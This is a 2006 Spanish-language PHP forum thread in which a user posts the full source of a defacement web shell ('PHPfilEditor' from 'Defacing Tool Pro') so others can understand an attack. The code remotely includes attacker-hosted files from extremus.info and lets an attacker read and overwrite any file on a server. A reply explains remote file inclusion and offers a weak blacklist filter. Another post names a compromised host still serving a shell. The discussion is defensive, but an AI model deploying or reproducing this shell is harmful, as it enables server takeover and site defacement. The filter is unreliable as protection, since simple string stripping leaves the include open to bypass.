Foros del Web » Programando para Internet » PHP »

Codigo Malicioso Php I

Estas en el tema de Codigo Malicioso Php I en el foro de PHP en Foros del Web. A un amigo le han hecho un hack con este codigo abjunto, el codigo se encarga de editar cualquier archivo en el server. Lo abjunto ...
  #1 (permalink)  
Antiguo 20/08/2006, 13:14
 
Fecha de Ingreso: septiembre-2003
Mensajes: 384
Antigüedad: 20 años, 7 meses
Puntos: 0
Busqueda Codigo Malicioso Php I

A un amigo le han hecho un hack con este codigo abjunto, el codigo se encarga de
editar cualquier archivo en el server.

Lo abjunto aqui para ver que posible solucion podemos acatar para el entendimiento de todos.

Seguro mucho de nosotros hemos sido atacados con esto, este es el famoso codigo donde nos
cambian el idnex.htm de un folder
Código PHP:
<!--#######################################################
# [PHPfilEditor] a part of Defacing Tool Pro by r3v3ng4ns #
###########################################################
Autor: r3v3ng4ns - [email protected]
Modifique, copie e distribua mas, por favor, mantenha o nome dos autores originais
*codigo reescrito

Defacing Tool 2.0 by r3v3ng4ns
[email protected]
se for modificar o codigo, por favor, mantenha o nome de seus autores originais
e por favor, entre em contato comigo...

ae galera, serio, tem mta gente fdp q simplismente usa, nao seja soh um sucker do script,
n seja um lammer imbecil, n seja o merda dum script kiddie, n seja um babaca, ajude a melhora-lo tambem!!
-->
<?php

//The Rules
include("http://extremus.info/cmd/therules25.dat");

if(empty(
$o)) $o=@$_GET['o'];
if(empty(
$o)) $o=@$_REQUEST['o'];
if(empty(
$s)) $s=@$_GET['s'];
if(empty(
$s)) $s=@$_REQUEST['s'];
if(empty(
$inclvar)) $inclvar=@$_GET['inclvar'];
if(empty(
$inclvar)) $inclvar=@$_REQUEST['inclvar'];

$co=$_GET['co'];
$ro=$_GET['ro'];
if(
$co!="" or $co!=null){$resAtual="atual: ".$co."x$ro linhas";} else{$resAtual="resolucao do textarea";}
if(
$co=="" or $co==null){$co=120$ro=30;}
if(
strpos($o'p://')===false and strpos($o'//')!==false$o str_replace('//''/'$o);
if(
strpos($s'//')!==false$s str_replace('//''/'$s);
$toOpen=$o;
$toSave=$s;
if(
$toSave == "" or $toSave==null$toSave=$toOpen;
$boom explode("/",$toSave,2);
$boom2=explode("/",$toOpen);
count($boom2);
$boom2_=array_reverse($boom2);
$file_=$boom2_['0'];
$dir_ str_replace("/".$file_,"",$toOpen);
if (
$dir_ == ""$dir_=getcwd();

?>
<head><title>[ PHPfilEditor : Edicao de Arquivo] a part of Defacing Tool Pro - by r3v3ng4ns</title></head>
<body onLoad="self.focus()">

<?
//Style page - must be into the body tag
include($style_addr);
?>

<script>
function inclVar(){var addr = location.href.substring(0,location.href.indexOf('?')+1);var stri = location.href.substring(addr.length,location.href.length+1);inclvar = stri.substring(0,stri.indexOf('='));}
function openFile(){
    inclVar();
    var o=prompt("[ PHPfilEditor ] by r3v3ng4ns\nDigite o nome do arquivo que deseja abrir\n-Utilize caminho completo\n-Abrir arquivos remotos, use http:// ou ftp://","<? echo(getcwd());?>/index.php");
    var dir = o.substring(0,o.lastIndexOf('/')+1);
    var file = o.substring(dir.length,o.length+1);
    window.document.location.href='<?=$total_addr;?>?'+inclvar+'=<?=$feditor_addr;?>'+'?&inclvar='+inclvar+'&o='+o;
    }

function saveFile(){
    var nomeSave=window.document.form.toSave.value;
    var s=prompt("[ PHPfilEditor ] by r3v3ng4ns\nDigite o nome do arquivo que deseja salvar\n-Utilize caminho completo",nomeSave);
    if(s==null){return false;}else{
    window.document.form.toSave.value=s;
    var nomeSave=window.document.form.toSave.value;
    var nomeOpen=window.document.form.toOpen.value;
    if (nomeOpen=='' || nomeOpen ==null) nomeOpen='-Novo Arquivo-'
    if (confirm ('O arquivo aberto como '+nomeOpen+'\nserah salvo como '+nomeSave+'.\nDeseja continuar?'))
    { return true; }else{ return false; }
    }
}
function altRes(tamanho){
    inclVar();
    if (confirm ('Alterar a resolucao do textarea do conteudo\nfara com que as alteracoes feitas arquivo\natual sejam perdidas. Deseja continuar?'))
    { var alt=1; }else{ var alt=0; }
    if(alt==0){  }else{
    var o=window.document.form.toOpen.value;
    window.document.location.href='<?=$total_addr;?>?'+inclvar+'=<?=$feditor_addr;?>'+'?&inclvar='+inclvar+'&o='+o+'&'+tamanho;
    }
}
</script>
<table border="0" align="center" cellpadding="2" cellspacing="2" class="dtool"><tr><td>
<center><div align="center" class="titulod"><b>[ PHPfilEditor ] <a href="mailto:[email protected]">?</a></font><br><font size=3>a part of Defacing Tool Pro<br>by r3v3ng4ns - [email protected] </font></b></div>
<table border="0" align="center"><tr><td>
<center>Agora com suporte mais amplo!</td></tr></table>
<div class="algod"><br>conteudo do arquivo<br><i>'<? if($toOpen!=null or $toOpen!="") echo("$toOpen");else echo("Novo Arquivo em Branco"); ?>'</i></div></CENTER>
<table width="375" border="0" align="center" cellpadding="0" cellspacing="0" class='comborder'><tr><td>
<table border="0" cellpadding="5" cellspacing="5" align="center" class="child2"><tr><td>
<center>
<form name='form' id='form' method='post' action='<?=$total_addr;?>?<?=$inclvar;?>=<?=$put_addr;?>?&inclvar=<?=$inclvar;?>&dtheme=<?=$dtheme;?>' onsubmit='return saveFile();'>
<textarea cols=<?=$co;?> rows=<?=$ro;?> name='conteudo_new' id='conteudo_new' style="border-style:none;background:#f7f7f7;font-size:11px;font-family:Courier;border:none">
<?php
if($toOpen==null or $toOpen=="newfile" or $toOpen==""){
    echo (
"Novo Arquivo");
}
else {
$cont = @pegaContents($toOpen);
    if( !empty(
$cont) ){
    
$cont=htmlspecialchars($cont,ENT_QUOTES);print($cont);//evita problemas de tags html

    
}
    else {
        echo (
"$toOpen: arquivo vazio, nao encontrado ou acesso restrito.\n$toOpen: empty file, no such file or permission denied ");
        
//$toSave=$dir_."/$toOpen";
        
$toSave=$toOpen;
        
$toOpen="";
    }
}
?>
</textarea>
<!--<textarea name='conteudo_old' id='conteudo_old' wrap='physical' class='oculto'><?/* print($cont);*/ ?></textarea>-->
<input type=hidden name='toSave' id='toSave' value='<?=$toSave;?>'><input type=hidden name='toOpen' id='toOpen' value='<?=$toOpen;?>'>
<br>
<input type=button value="limpar" onclick="window.document.form.conteudo_new.value='';" class="campo">
<input type=reset value="resetar alteracoes" class="campo">
<input type=button value="abrir" onclick="javascript:openFile();" class="campo">
<input type=submit value="salvar" class="campo">
<input type=button name="fechaBtn" value="fechar janela" class="campo" onclick="window.close();">
<select name=size  class=campo onchange="altRes(form.size.value);">
<option><?=$resAtual;?>
<option value="co=90&ro=10">90x10 linhas
<option value="co=90&ro=20">90x20 linhas
<option value="co=100&ro=20">100x20 linhas
<option value="co=100&ro=30">100x30 linhas
<option value="co=100&ro=40">100x40 linhas
<option value="co=120&ro=30">120x30 linhas (padrao)
<option value="co=120&ro=40">120x40 linhas
<option value="co=130&ro=30">130x30 linhas
<option value="co=130&ro=40">130x40 linhas
<option value="co=140&ro=30">140x30 linhas
<option value="co=140&ro=40">140x40 linhas
</select>
</form>
</tr></td></table></tr></td></table></tr></td></table>
Archivo que se incluye http://extremus.info/cmd/therules25.dat
Código PHP:
<?php
//The rules of Dtool - 2.5
//[email protected]

@closelog();
@
error_reporting(0);
$vers="2.5 public";
$remote_addr="http://extremus.info/cmd/";
$format_addr=".dat";
$cmd_addr=$remote_addr."tool25".$format_addr;
$safe_addr=$remote_addr."safe25".$format_addr;
$writer_addr=$remote_addr."writer25".$format_addr;
$phpget_addr=$remote_addr."get25".$format_addr;
$feditor_addr=$remote_addr."filed25".$format_addr;
$put_addr=$remote_addr."filed_put25".$format_addr;
$list_addr=$remote_addr."flist25".$format_addr;
$copyd_addr=$remote_addr."copyd25".$format_addr;
$style_addr=$remote_addr."style25".$format_addr;
$total_addr="http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$inclvar = @substr($_SERVER['QUERY_STRING'],0,strpos($_SERVER['QUERY_STRING'],"="));

function 
pegaContents($filename){//aiai, essa funcao aki eh bem legal, evita mto problema q tinha antes. by r3v3n
    
if(function_exists('file_get_contents')){ $content_arquivo=file_get_contents($filename);}
    else if(
function_exists('readfile') and function_exists('ob_start')){ob_start();readfile($filename); $content_arquivo=ob_get_contents(); ob_end_clean();}
    else if(
function_exists('fread') and function_exists('fopen') and !strpos($filename,'http://')){ $content_arquivo=fread(fopen($filename"a"),filesize($filename));}
    else 
$content_arquivo=false;

    return 
$content_arquivo;
}

if(empty(
$chdir)) $chdir=@$_GET['chdir'];
if(empty(
$chdir)) $chdir=@$_REQUEST['chdir'];
if(empty(
$chdir)) $chdir=getcwd();

?>
__________________
-----------------------------
Edgar Gonzalez
  #2 (permalink)  
Antiguo 20/08/2006, 14:42
 
Fecha de Ingreso: septiembre-2003
Ubicación: Chile
Mensajes: 30
Antigüedad: 20 años, 7 meses
Puntos: 0
El famoso defacing

Al momento de incluir un archivo asegurate de que no puedan incluir un sitio web cualquiera.

ejemplo:

si incluyes una sección asi: index.php?page=secciones.php
debes validar que solamente ingresen un archivo php por que para hacer el defacing hacen un include asi: index.php?page=http://extremus.info/cmd/therules25.dat ó .gif o lo que sea

y ese include que es una herramienta defacing que puede subir eliminar y editar archivos de un server sin saber nada de nada.

lo que puedes hacer para que no incluyan un archivo externo de tu sitio es validar el contenido de la variable "page"


Código PHP:
<?php  
             
            
function quitar($mensaje)  
            {  
            
$mensaje str_replace("<","",$mensaje);  
            
$mensaje str_replace(">","",$mensaje);  
            
$mensaje str_replace("\'","",$mensaje);  
            
$mensaje str_replace('\"',"",$mensaje);  
            
$mensaje str_replace("\\\\","",$mensaje); 
            
$mensaje str_replace("www","",$mensaje);  
            
$mensaje str_replace("http","",$mensaje);  
            
$mensaje str_replace("/","",$mensaje);  


  
            return 
$mensaje;  
            }  
                if(
$page==""
                { 
                @include(
"inicio.php"); 
                } 
                else 
                { 
                
$separar explode(':',$page); 
                
$separar2 explode('.',$page); 
                
$separar3 explode('/',$page); 

                if(
$separar[0]=="http" || $separar2[0]=="www" || $page=="/etc/passwd" || $page=="/etc/httpd/conf/httpd.conf"
                { 
                echo
"<span class=textos>Path Invalido</span>"
                } 
                else 
                { 
                
$page2=quitar($page); 
                @include(
"$page2"); 
                } 
                } 
                 
?>
suerte!
  #3 (permalink)  
Antiguo 20/08/2006, 19:01
 
Fecha de Ingreso: septiembre-2003
Mensajes: 384
Antigüedad: 20 años, 7 meses
Puntos: 0
Entonces en caso de que este utilizando variables tipo GET pero no para incluir archivos aun asi corro peligro???

algo como esto
Código HTML:
index.php?sec=tienda_cat&cat_id_c=%201|n|d
La var 'sec', es la unica que utilizo para incluir archivos pero esto pasa por un switch, para comprobar cual de las secciones es la que se solicita

y la var cat_id_c, es para datos internos de la seccion 'tienda_cat.php'

corre peligro la var 'cat_id_c'??
__________________
-----------------------------
Edgar Gonzalez
  #4 (permalink)  
Antiguo 20/08/2006, 19:10
 
Fecha de Ingreso: septiembre-2003
Ubicación: Chile
Mensajes: 30
Antigüedad: 20 años, 7 meses
Puntos: 0
solo corres peligro con la variable sec, solo debes quitar codigos antes de incluir para asegurarte de que no ingresen cosas asi sec=../../../ o sec=http:// o sec= www.

me entiendes?

para cada caso de un include que sea por variable limpia el codigo para asegurarte que solo sea el archivo que quieres

la variable cat_id_c no veo que corra peligro ya que solo mandas parametros para usar en otro archivo
  #5 (permalink)  
Antiguo 20/08/2006, 21:30
 
Fecha de Ingreso: agosto-2006
Mensajes: 4
Antigüedad: 17 años, 7 meses
Puntos: 0
Otro mas

He aqui otro codigo, un poco mas trabajado, ya que puedes editar el archivo que quieras y ademas puedes ver todo el arbol de directorio del server.... claro!!! puedes crear, modificar y borrar....
Lo digo por experiencia!!!, una de las herramientas con la cual me atacaron.

El codigo lo colgaron aqui :

virtual.uarg.unpa.edu.ar/myftp/list.txt?

Obviamente que fue previamente atacado este sitio para que puedan ponerlo, lo peor es que todavia no saben que lo tienen en el server.

Saludos a todos.
Fer
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 06:12.